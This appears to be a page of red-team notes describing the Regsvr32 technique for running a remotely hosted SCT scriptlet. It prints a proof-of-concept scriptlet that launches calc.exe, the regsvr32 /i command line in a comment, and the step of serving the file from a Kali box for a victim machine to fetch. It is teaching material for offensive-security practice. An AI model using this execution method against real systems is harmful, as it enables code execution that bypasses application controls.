> For the complete documentation index, see [llms.txt](https://dmcxblue.gitbook.io/red-team-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dmcxblue.gitbook.io/red-team-notes/execution/trusted-developer-utilities/regsvr32.md).

# Regsvr32

This technique uses a SCT file loaded remotely.

SCT: Script used to create a Component Object Model ([.COM](https://fileinfo.com/extension/com)) component, may be written in various scripting languages such as VBScript, JavaScript, or JScript; runs itself in Windows if the Windows Scripting Host is installed.

A very basic SCT file that will execute `calc.exe` :

```
<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="PoC"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
	<!-- Proof Of Concept - Casey Smith @subTee -->
	<!--  License: BSD3-Clause -->
	<script language="JScript">
	<![CDATA[
		//x86 only. C:\Windows\Syswow64\regsvr32.exe /s /u /i:file.sct scrobj.dll
		
		var scr = new ActiveXObject("MSScriptControl.ScriptControl");
		scr.Language = "JScript";
		scr.ExecuteStatement('var r = new ActiveXObject("WScript.Shell").Run("calc.exe");');
		scr.Eval('var r = new ActiveXObject("WScript.Shell").Run("calc.exe");');
		
		//https://msdn.microsoft.com/en-us/library/aa227637(v=vs.60).aspx
		//Lots of hints here on futher obfuscation
		]]></script>
</registration>
</scriptlet>
```

I will host this on my Kali box using python3

```
sudo python3 -m http.server 80
```

![](/files/-M-HSXbTJKGlqM9JV2Xl)

Now let's call it from our Victim Box.

![](/files/-M-HSgX_4WF7Su4S1iH_)

And execute

![](/files/-M-HTK71SUNL6EX7R04G)

Demo:

![](/files/-M-Ha55rCGfRgrvcqDYp)
